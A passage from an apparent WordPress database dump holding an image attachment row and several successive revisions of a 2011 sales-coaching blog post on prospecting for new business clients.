want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you...\r\n', 'inherit', 'open', 'open', '', '30-revision-3', '', '', '2009-04-03 18:40:13', '2009-04-04 01:40:13', '', 30, 'http://www.whitehotcenter.com/2009/04/03/30-revision-3/', 0, 'revision', '', 0),
(1524, 2, '2011-02-09 16:08:44', '2011-02-09 23:08:44', '', 'prospecting', 0, '', 'inherit', 'open', 'open', '', 'prospecting', '', '', '2011-02-09 16:08:44', '2011-02-09 23:08:44', '', 1523, 'http://www.whitehotcenter.com/wp-content/uploads/2011/02/prospecting.gif', 0, 'attachment', 'image/gif', 0),
(1525, 2, '2011-02-09 16:11:46', '2011-02-09 23:11:46', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="495" height="241" />\n<h1><span style="color: #808080;">There’s only one important thing about selling that you must master– prospecting for business!</span></h1>\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\n\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\n\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\n\n<strong>Prospecting is not networking.</strong>\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\n\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\n\n<strong> </strong>\n\n<strong>When you’re highly specialized, prospecting is easy.</strong>\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\n\n<strong>What defines a prospect?</strong>\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\n\n<strong>Always be prospecting!</strong>\n\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\n\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision', '', '', '2011-02-09 16:11:46', '2011-02-09 23:11:46', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision/', 0, 'revision', '', 0),
(1526, 2, '2011-02-09 16:12:18', '2011-02-09 23:12:18', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="495" height="241" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling that you must master– prospecting for business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-2', '', '', '2011-02-09 16:12:18', '2011-02-09 23:12:18', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-2/', 0, 'revision', '', 0),
(1527, 2, '2011-02-09 16:12:47', '2011-02-09 23:12:47', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="495" height="241" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling that you must master– prospecting for business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-3', '', '', '2011-02-09 16:12:47', '2011-02-09 23:12:47', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-3/', 0, 'revision', '', 0),
(1528, 2, '2011-02-09 16:14:27', '2011-02-09 23:14:27', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="495" height="241" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-4', '', '', '2011-02-09 16:14:27', '2011-02-09 23:14:27', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-4/', 0, 'revision', '', 0),
(1529, 2, '2011-02-09 16:15:15', '2011-02-09 23:15:15', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="495" height="241" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-5', '', '', '2011-02-09 16:15:15', '2011-02-09 23:15:15', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-5/', 0, 'revision', '', 0),
(1530, 2, '2011-02-09 16:15:44', '2011-02-09 23:15:44', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with way-better clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-6', '', '', '2011-02-09 16:15:44', '2011-02-09 23:15:44', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-6/', 0, 'revision', '', 0),
(1531, 2, '2011-02-09 16:16:45', '2011-02-09 23:16:45', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-7', '', '', '2011-02-09 16:16:45', '2011-02-09 23:16:45', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-7/', 0, 'revision', '', 0);
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(1532, 2, '2011-02-09 16:16:53', '2011-02-09 23:16:53', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers. Allow me to share my definition of what prospecting is:\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'inherit', 'open', 'open', '', '1523-revision-8', '', '', '2011-02-09 16:16:53', '2011-02-09 23:16:53', '', 1523, 'http://www.whitehotcenter.com/2011/02/09/1523-revision-8/', 0, 'revision', '', 0),
(1533, 2, '2011-02-09 16:17:47', '2011-02-09 23:17:47', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If what you’re all about are rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out.\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’sthe only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear 